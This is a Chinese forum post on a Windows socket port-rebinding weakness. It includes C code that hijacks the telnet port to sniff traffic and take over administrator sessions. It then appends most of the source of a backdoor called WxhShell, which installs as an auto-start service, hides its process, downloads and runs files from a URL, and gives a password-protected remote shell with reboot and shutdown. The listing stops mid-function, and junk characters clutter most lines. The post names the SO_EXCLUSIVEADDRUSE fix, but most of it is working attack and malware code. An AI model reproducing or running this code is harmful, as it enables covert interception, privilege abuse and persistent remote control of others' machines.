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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )5l9!1j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Am)XbN')1  
Y -G;;~  
  saddr.sin_family = AF_INET; htHnQ4Q  
ZJ}|t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "uD^1'IW2  
z/t+t_y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ym6gj#2m  
bS*oFm@u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /;xmM 2B'  
T^.W'  
  这意味着什么?意味着可以进行如下的攻击: c{cJ>d 0  
vY(xH>Fd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qh 9Ix  
b;$j h   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?iaD;:'qE  
S1W(]%0/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -{a&Zkz>V  
v`9n'+h-c6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hbi2amfBu  
#AUa'qB t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 < c[dpK5c  
M\jTeB"Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2Ls  
5:~BGK&{Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m'ykDK\B  
c!=^C/5Ee  
  #include &HYs^|ydrr  
  #include i>L>3]SRr{  
  #include VD-2{em  
  #include    Wf:I 0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O)9{qU:[b  
  int main() VH5Vg We  
  { /WE1afe_R  
  WORD wVersionRequested; l} UOg   
  DWORD ret; 3bPF+(`J  
  WSADATA wsaData; $_NP4V8|z/  
  BOOL val; <e7  
  SOCKADDR_IN saddr; [";<YR7iRN  
  SOCKADDR_IN scaddr; J;cTEB  
  int err; 1U< g  
  SOCKET s; "+:~#&r  
  SOCKET sc; 5b-: e? |  
  int caddsize; >$p|W~x  
  HANDLE mt; cQldBc  
  DWORD tid;   l]v>PIh~N  
  wVersionRequested = MAKEWORD( 2, 2 ); BjIKs~CT  
  err = WSAStartup( wVersionRequested, &wsaData ); KsBi<wY  
  if ( err != 0 ) { Z4@GcdZ  
  printf("error!WSAStartup failed!\n"); *WpDavovyB  
  return -1; E0a &1j  
  } =)9@rV&~  
  saddr.sin_family = AF_INET; 1b-_![&]1  
   a5# B&|#q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U> s$}Y:+Z  
$E]W U?U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7iBN!"G0  
  saddr.sin_port = htons(23); p@+r&Mg%W"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?\NWKp  
  { #Jqa_$\.  
  printf("error!socket failed!\n"); Q`7.-di  
  return -1; ?O<D&CvB  
  } cN\Fgbt  
  val = TRUE; &p#$}tm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p2: >m\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c})f&Z@<  
  { wA;Cj  
  printf("error!setsockopt failed!\n"); (5(TbyWwD  
  return -1; 1y($h<  
  } NLA/XZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xf]_@T;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a@&P\"k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8Mf{6&F=  
y}t1r |p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hbg:}R=B<  
  { $D)Ajd;  
  ret=GetLastError(); !+# pGSk  
  printf("error!bind failed!\n"); J"Z=`I)KON  
  return -1; p 3*y8g-  
  } @fSBW+  
  listen(s,2); =1'vXPv`  
  while(1) ]1(G:h\  
  { -*T<^G;rK  
  caddsize = sizeof(scaddr); =xq+r]g6  
  //接受连接请求 O^,%V{]6\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M$0-!$RY  
  if(sc!=INVALID_SOCKET) $06[D91'  
  { %}=:gF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QFtf.")[.  
  if(mt==NULL) <4|/AF*>  
  { mWPA]g(  
  printf("Thread Creat Failed!\n"); l@OY8z-_  
  break; - .EH?{i  
  } <yHa[c`L  
  } 3/i_?G  
  CloseHandle(mt); )IH|S5mG?  
  } `oq][|  
  closesocket(s); b,Vg3BS  
  WSACleanup(); }[gk9uM_7  
  return 0; ecRY,MN  
  }   Ghb Jty`  
  DWORD WINAPI ClientThread(LPVOID lpParam) J>XMaI})U  
  { O<o>/HH$  
  SOCKET ss = (SOCKET)lpParam; %2jRJ  
  SOCKET sc; *lT:P-  
  unsigned char buf[4096]; ,s9gGCA  
  SOCKADDR_IN saddr; A3 |hFk  
  long num; yHk}'YP  
  DWORD val; \6)]!$F6:  
  DWORD ret; h vO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lEWF~L5=:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   muJR~4  
  saddr.sin_family = AF_INET; 88l\8k4r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RMvq\J}w!  
  saddr.sin_port = htons(23); 9cwy;au  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z=&cBv4Fs  
  { ?8GggJC  
  printf("error!socket failed!\n"); Qmg2lP.)  
  return -1; ^f%hhpV@  
  } BHZCM^  
  val = 100; zY=eeG+4s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vk&6L%_~a  
  { ^I CSs]}1  
  ret = GetLastError(); Y%1 94fY$  
  return -1; -0>gq$/N=^  
  } +338z<'Z!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }@XokRk  
  { JE<w7:R&  
  ret = GetLastError(); Lq6R_ud p  
  return -1;  UqwU3  
  } +M=`3jioL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <lo\7p$A  
  { #@3& 1 }J/  
  printf("error!socket connect failed!\n"); n,_q6/!  
  closesocket(sc); <Cbi5DtR  
  closesocket(ss); 3Hd~mfO\  
  return -1; &{uj3s&C   
  } U7do,jCoa  
  while(1) hRwj-N%C  
  { MoX~ZewWR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9{KL^O?g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \~!!h.xR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N7 FndB5%  
  num = recv(ss,buf,4096,0); ]~K&b96(  
  if(num>0) "-T[D9(A  
  send(sc,buf,num,0); G=ly .  
  else if(num==0) (E{}iq@2  
  break; k:QeZn(  
  num = recv(sc,buf,4096,0); Z)^1~!w0  
  if(num>0) l{o,"P"  
  send(ss,buf,num,0); PptVneujI  
  else if(num==0) R9z:K_d,  
  break; LGdM40  
  } 9Gc4mwu  
  closesocket(ss); ~9[O'  
  closesocket(sc); K!,T.qA&=  
  return 0 ; rLpfybu  
  } N xW Dw  
ki6L t  
h0O t>e"  
========================================================== ZO#f)>s2  
L}a-c(G+8  
下边附上一个代码,,WXhSHELL &pzf*|}  
[. Db56  
========================================================== ,` 64t'g  
5(=5GkE)>  
#include "stdafx.h" @u @~gEt  
0H/)wy2ym  
#include <stdio.h> d@XXqCR<  
#include <string.h> J yO2P  
#include <windows.h> ak A7))Q  
#include <winsock2.h> 1PB"1.wnd  
#include <winsvc.h> dM=45$\q  
#include <urlmon.h> J6I:UML  
jP{&U&!i  
#pragma comment (lib, "Ws2_32.lib") yiw4<]{IX  
#pragma comment (lib, "urlmon.lib") `+m:@0&L  
abD@0zr  
#define MAX_USER   100 // 最大客户端连接数 lDSF  
#define BUF_SOCK   200 // sock buffer xwF mY'o  
#define KEY_BUFF   255 // 输入 buffer ve]hE}o/}  
dfP4SJqq  
#define REBOOT     0   // 重启 @9tzk [  
#define SHUTDOWN   1   // 关机 lQM&q  
sg8[TFX@Z  
#define DEF_PORT   5000 // 监听端口 z ub"Ap3  
b} 0G~oLP  
#define REG_LEN     16   // 注册表键长度 rez )$  
#define SVC_LEN     80   // NT服务名长度 Vak\N)=u  
8<)ZpB,7  
// 从dll定义API hYht8?6}m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &,l(2z[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8c\\-{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M u i\E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \$4 [qG=  
)_YB8jUR-X  
// wxhshell配置信息 R4y]<8}  
struct WSCFG { M$48}q+  
  int ws_port;         // 监听端口 ZZn$N-  
  char ws_passstr[REG_LEN]; // 口令 @ry/zG#  
  int ws_autoins;       // 安装标记, 1=yes 0=no ysj5/wtO0  
  char ws_regname[REG_LEN]; // 注册表键名 apOa E7|  
  char ws_svcname[REG_LEN]; // 服务名 3=Q:{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =%B5TBG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6_s(Kx>j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z)}UCi+/".  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zM,r0Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C-@[=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .VCF[AleS  
.P <3+  
}; byFO^pce  
 l*?_@  
// default Wxhshell configuration %tMx48'N  
struct WSCFG wscfg={DEF_PORT, lSg[7lt  
    "xuhuanlingzhe", !:PiQ19 'u  
    1, -.Blj<2ah  
    "Wxhshell", _%[po%]  
    "Wxhshell", {h=gnR-9  
            "WxhShell Service", 84WX I#BH  
    "Wrsky Windows CmdShell Service", >%ovL8F  
    "Please Input Your Password: ", T]JmnCX>:  
  1, \h"U+Bv7  
  "http://www.wrsky.com/wxhshell.exe", QC?~$>h!?  
  "Wxhshell.exe" w_f.\\1r  
    }; ]rv4O@||w  
Pa6pq;4St  
// 消息定义模块 WfD fj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; En:>c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6`@b@Kd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F"bz<{  
char *msg_ws_ext="\n\rExit."; =?c""~7  
char *msg_ws_end="\n\rQuit."; hrm<!uKn  
char *msg_ws_boot="\n\rReboot..."; au04F]-|j8  
char *msg_ws_poff="\n\rShutdown..."; vK%*5  
char *msg_ws_down="\n\rSave to "; -p>~z )  
!~&& &85  
char *msg_ws_err="\n\rErr!"; xeL"FzF:V  
char *msg_ws_ok="\n\rOK!"; l n\qvD_  
/)T~(o|i  
char ExeFile[MAX_PATH]; ,3!$mQL=  
int nUser = 0; P}]o$nWT  
HANDLE handles[MAX_USER]; c"v75lW-J  
int OsIsNt; 6\ yBA_ z  
a}uYv:  
SERVICE_STATUS       serviceStatus; hLbWqF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xorafL  
qm3H/cC9+  
// 函数声明 4EHrd;|   
int Install(void); m`l9d4p w?  
int Uninstall(void); FJDE48Vi  
int DownloadFile(char *sURL, SOCKET wsh); .[ }G{%M~[  
int Boot(int flag); z)S6f79`Q  
void HideProc(void); f"KrPx!^b  
int GetOsVer(void); +U1 Ir5Lx  
int Wxhshell(SOCKET wsl); a%e`  
void TalkWithClient(void *cs); <:V~_j6P0  
int CmdShell(SOCKET sock); tEL9hZzI  
int StartFromService(void); veHe   
int StartWxhshell(LPSTR lpCmdLine); w`;HwK$ ,  
=C2sl;7~*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K Ax=C}9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }b1FB<e]  
)Xh}N  
// 数据结构和表定义 o]~\u{o#.  
SERVICE_TABLE_ENTRY DispatchTable[] = d)e mTXB(  
{ h7 E~I J  
{wscfg.ws_svcname, NTServiceMain}, g"Y _!)X  
{NULL, NULL} fO$){(]^  
}; dYwkP^KB  
PR Mg6  
// 自我安装 4WJY+)  
int Install(void) p_h/hTi  
{ QYMfxpiC  
  char svExeFile[MAX_PATH]; |)+ SG>-  
  HKEY key; Bz<hP*.O  
  strcpy(svExeFile,ExeFile); $8)XN-%(  
P&uSh?[ ^  
// 如果是win9x系统,修改注册表设为自启动 )-26(aNGT  
if(!OsIsNt) { Rh ^(91d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H.m]Dm,z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !JDr58  
  RegCloseKey(key); |ZL?Pqki  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {2h *NFp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b!P,+!<  
  RegCloseKey(key); \ dFE.4  
  return 0; 0k5-S~_\  
    } @^<odmM  
  } =nGFLH6)  
} HbegdbTJ  
else { !1G KpL  
BYB4- ,  
// 如果是NT以上系统,安装为系统服务 $G-<kC}8:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KGYbPty}  
if (schSCManager!=0) ?1D!%jfi  
{ :Ln)j%&  
  SC_HANDLE schService = CreateService |gA@WV-%  
  ( (T_-`N|  
  schSCManager, hO]F\0+  
  wscfg.ws_svcname, b3^:Bh9  
  wscfg.ws_svcdisp, z.Ic?Wz7  
  SERVICE_ALL_ACCESS, bGCC?}\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ==OUd6e}  
  SERVICE_AUTO_START, >jX "  
  SERVICE_ERROR_NORMAL, &t^*0/~  
  svExeFile, c|k_[8L  
  NULL, 2n,z`(=  
  NULL, &{V|%u}v  
  NULL, `Pvi+:6\Y  
  NULL, 8f9wUPr  
  NULL ZC N}iQu4  
  ); [(heE  
  if (schService!=0) 1ysfpX{=  
  { -Cs( 3[  
  CloseServiceHandle(schService); AH#mL  
  CloseServiceHandle(schSCManager); %):_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cuN9R G  
  strcat(svExeFile,wscfg.ws_svcname); Gr\ ]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A?H#bRAs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hu"$ )V  
  RegCloseKey(key); 509T?\r  
  return 0; Z)s !p  
    } "[N2qJ}p  
  } 2iG+Ek-?"  
  CloseServiceHandle(schSCManager); )X0=z1$  
} MY,~leP&  
} '4 *0Pw  
<= o<lRU  
return 1; ,c&u\W=p  
} |9jK-F6   
FJc8g6M  
// 自我卸载 ^2~ZOP$A  
int Uninstall(void) ,)1C"'  
{ SE+hB  
  HKEY key; {Dpsr` &  
V vrsf6l]  
if(!OsIsNt) { .dU91> ~Ov  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /o9it;  
  RegDeleteValue(key,wscfg.ws_regname); NV * 2  
  RegCloseKey(key); "z{/*uM2<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @P7'MiP]K  
  RegDeleteValue(key,wscfg.ws_regname); (%X *b.n=  
  RegCloseKey(key); I _KHQ&Z*  
  return 0; FBXktSg  
  } 1eD#-tzV  
} pTCD1)  
}  ;j26(dH  
else { s9ix&m  
nK;d\DO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .V hU:_u  
if (schSCManager!=0) t`8Jz~G`  
{ JKZVd`fF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G`!,>n 3  
  if (schService!=0) e3ZRL91c  
  { F_qApyU,7  
  if(DeleteService(schService)!=0) { rr tMd  
  CloseServiceHandle(schService); ';3>rv_  
  CloseServiceHandle(schSCManager); /(^-= pAX  
  return 0; f SkC>mWv  
  } h"1}j'2>@  
  CloseServiceHandle(schService); {N2GRF~c-y  
  } @@D/&}#F  
  CloseServiceHandle(schSCManager); 9 Zos;  
} ww{k_'RRJ  
} z:-{Y2F  
Xex7Lr&  
return 1; X%YZQc9  
} CH4Nz'X2  
6>WkisxG  
// 从指定url下载文件 jWUrw  
int DownloadFile(char *sURL, SOCKET wsh) 9K& $8aD  
{ :zU4K=kR  
  HRESULT hr; ~!({U nt+'  
char seps[]= "/"; 8WytvwB}  
char *token; 2U[/"JL  
char *file; >)WE3PT/O"  
char myURL[MAX_PATH]; u.2X "  
char myFILE[MAX_PATH]; Yb5U^OjyJ  
e8`d<U  
strcpy(myURL,sURL); fz|*Plv  
  token=strtok(myURL,seps); D9g*+KM&  
  while(token!=NULL) `:iMGq ZN  
  { dEDhdF#f  
    file=token; U<=TAWZ@  
  token=strtok(NULL,seps); gveGBi  
  } |B (,53  
aG7Lm2{c"  
GetCurrentDirectory(MAX_PATH,myFILE); OAkqPG&w  
strcat(myFILE, "\\"); @wXYza0|d  
strcat(myFILE, file); ":eyf 3M  
  send(wsh,myFILE,strlen(myFILE),0); I;XM4a  
send(wsh,"...",3,0); XO;_F"H=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D\G 8p;  
  if(hr==S_OK) =_OJ 7K'  
return 0; z"< S$sDh  
else ;rf{T[i  
return 1; :7(fBf5  
oT}$N_gFT  
} d[h=<?E5  
efyEzL  
// 系统电源模块 >(2;(TbQm0  
int Boot(int flag) q}_8iDO6  
{ OkRb3}  
  HANDLE hToken; \ ERBb.  
  TOKEN_PRIVILEGES tkp; <\~@l^lU  
+IXr4M&3  
  if(OsIsNt) { Ls2,+yo]>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Idu'+O4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eV_ ",W  
    tkp.PrivilegeCount = 1; LiEEQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <RxxGD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Nn_b  
if(flag==REBOOT) { %{ U (y#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @^0}wk  
  return 0; !v3d:n\W8  
} 6<z#*`U1  
else { jXx~ 5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MZ)lNU l  
  return 0; \)*\$I\]  
} VnN(lJ  
  } Y3|_&\ v6  
  else { Oh}52=  
if(flag==REBOOT) { }Q[U4G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5#z7Hj&w  
  return 0; c CjN8<  
} =8vwaJ  
else { #pWy%U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r6D3u(kMb  
  return 0; |xb;#ruR6  
} "vYjL&4h  
} N8T.Ye N  
<OiH%:G/1  
return 1; ke6,&s%{j  
} 5aVZ"h"  
?z.  Z_A&  
// win9x进程隐藏模块 Z{u]qI{l  
void HideProc(void) `m V(:  
{ rxx VLW  
Eb,M+c?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oVl:g:K40  
  if ( hKernel != NULL ) b 2\J<Nw  
  { eLH=PDdO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A _7I0^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G=e'H-  
    FreeLibrary(hKernel); "Ml#,kU<T  
  } ,H|K3nh  
pw))9~XU  
return; s&%r?  
} k-4z2qB  
Yi-,Pb?   
// 获取操作系统版本 {DVMs|5;^  
int GetOsVer(void) 7iy2V;}  
{ Us[F@  
  OSVERSIONINFO winfo; _or_Vw!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g6gwNC:aF  
  GetVersionEx(&winfo); KfK5e{yT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t.!?"kP"c  
  return 1; c*w0Jz>@.7  
  else Nn0j}ZI)1  
  return 0; }V/iU_)  
} ~Y1nU-  
6d5q<C_3t  
// 客户端句柄模块 iOAn/[^xk  
int Wxhshell(SOCKET wsl) 3?k<e  
{ zl, Vj%d  
  SOCKET wsh; 1Uah IePf  
  struct sockaddr_in client; 6XAofN/5f  
  DWORD myID; !;t6\Z8&  
B&(/,.  
  while(nUser<MAX_USER) 6EY 0Fjsi  
{ nBd(p Oe  
  int nSize=sizeof(client); >TGc0 z+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )eX{a/Be  
  if(wsh==INVALID_SOCKET) return 1; xxgdp. (  
N5MWMN[6aP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5rtE/ {A  
if(handles[nUser]==0) PTQN.[bBh  
  closesocket(wsh); =OrVaZ0  
else DLq'V.M:  
  nUser++; .5~3D97X&  
  } Eg4&D4TG p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q*f0YjH!  
Rto/-I0l  
  return 0; xgsEe3|  
} ZlMS=<hgFx  
6m:$RW  
// 关闭 socket p`"Ic2xPJ  
void CloseIt(SOCKET wsh) uowdzJ7  
{ l >oJ^J  
closesocket(wsh); : t D`e<  
nUser--; ;Rxc(tR!n  
ExitThread(0); aMK\&yZD  
} z2A,*|I  
9+Wf*:*EW  
// 客户端请求句柄 NwKj@Jos  
void TalkWithClient(void *cs) f(EO|d^u  
{ 1#zD7b~  
i\>?b)a>  
  SOCKET wsh=(SOCKET)cs; *mw *z|-^V  
  char pwd[SVC_LEN]; M^n^wz  
  char cmd[KEY_BUFF]; V_4=0(  
char chr[1]; MHCwjo"  
int i,j; }?CKE<#%  
YvUV9qps~  
  while (nUser < MAX_USER) { -|:mRAe  
Q}^qu6  
if(wscfg.ws_passstr) { I 'ha=PeVn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =+VDb5= TV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TD/ 4lL~(x  
  //ZeroMemory(pwd,KEY_BUFF); D4{<~/oBv  
      i=0; H@|m^1  
  while(i<SVC_LEN) { kb\\F:w(W  
5p7i9"tgn  
  // 设置超时 <`BDN  
  fd_set FdRead; ;6=*E'  
  struct timeval TimeOut; |/u,6`  
  FD_ZERO(&FdRead); 5^{2 g^jH6  
  FD_SET(wsh,&FdRead); ;|,*zD  
  TimeOut.tv_sec=8; !W b Q9o  
  TimeOut.tv_usec=0; 6anH#=(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y=}o|/5"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pp;OkI``[  
MdnapxuS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FW4#/H  
  pwd=chr[0]; rj29$d?Y9  
  if(chr[0]==0xd || chr[0]==0xa) { rLp0)Go  
  pwd=0; <. V*]g/;  
  break; ~T=a]V  
  } YCG $GD  
  i++; cU "uKR  
    } wk2Ff*&  
&!>.)I`  
  // 如果是非法用户,关闭 socket `nd$6i^#W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s+0S,?{$  
} "Qk)EY  
.sZ"|j9m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wm!cjGK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HC$}KoZkC  
A4)TJY 3g  
while(1) { 5_rx$avm  
/vLW{%  
  ZeroMemory(cmd,KEY_BUFF); DH])Q5  
@ n$/2y_.  
      // 自动支持客户端 telnet标准   2t3)$\ylQp  
  j=0; AD7&-=p&w  
  while(j<KEY_BUFF) { 0>3Sn\gZ(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F ^)( 7}ph  
  cmd[j]=chr[0]; ,/eAns`ZU  
  if(chr[0]==0xa || chr[0]==0xd) { cZ ,}1?!  
  cmd[j]=0; Cv< s|  
  break; ^= qL[S6/M  
  } 1Uc/ r>u9  
  j++; C)&BtiUN/  
    } =]LAL w  
eB<R"Yvi  
  // 下载文件 CeUC[cUQU  
  if(strstr(cmd,"http://")) { |Syulus  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N1JM[<PP  
  if(DownloadFile(cmd,wsh)) 4=l$wg~;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 76cT}l&.h8  
  else Md*.q^:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1(WBvAPS  
  } 5?>ES*  
  else { >UXNR`?  
N LSJ D  
    switch(cmd[0]) { kq> I?wg  
  L1MG("R  
  // 帮助 3#{Al[jq  
  case '?': { 5>fAO =u!Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z1U@xQj  
    break; I(qFIV+H R  
  } "8\2w]"  
  // 安装 _rW75n=3b7  
  case 'i': { d M;v39  
    if(Install()) .|KBQMI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Uni6O)oc  
    else OyIIJ!(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bh65qHQO  
    break; Z)<lPg!YAR  
    } &[5pR60  
  // 卸载 O&@CT])8  
  case 'r': { ,3Aiz|v-  
    if(Uninstall()) sc y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CWSc#E  
    else Bm +Ca:p%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Y7QmbX^  
    break; 5jsZJpk$  
    } wB"`lY   
  // 显示 wxhshell 所在路径 q!YAA\'31  
  case 'p': { Fm[3Btn  
    char svExeFile[MAX_PATH]; wT+\:y  
    strcpy(svExeFile,"\n\r"); rw[Ioyr-  
      strcat(svExeFile,ExeFile); pzeCdHF  
        send(wsh,svExeFile,strlen(svExeFile),0); JD]uDuE  
    break; $-paYQ4  
    } G|z%T`!U1;  
  // 重启 bv}e[yH  
  case 'b': { BR:Mcc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eaDG7+iS  
    if(Boot(REBOOT)) C40o_1g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]&X}C{v)G  
    else { mTLJajE/  
    closesocket(wsh); ]$I}r= Em  
    ExitThread(0); /z: mi  
    } \%&eDE0  
    break; 8"o@$;C  
    } W@D./Th  
  // 关机 _P*QX  
  case 'd': { wv ^n#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M<P8u`)>4H  
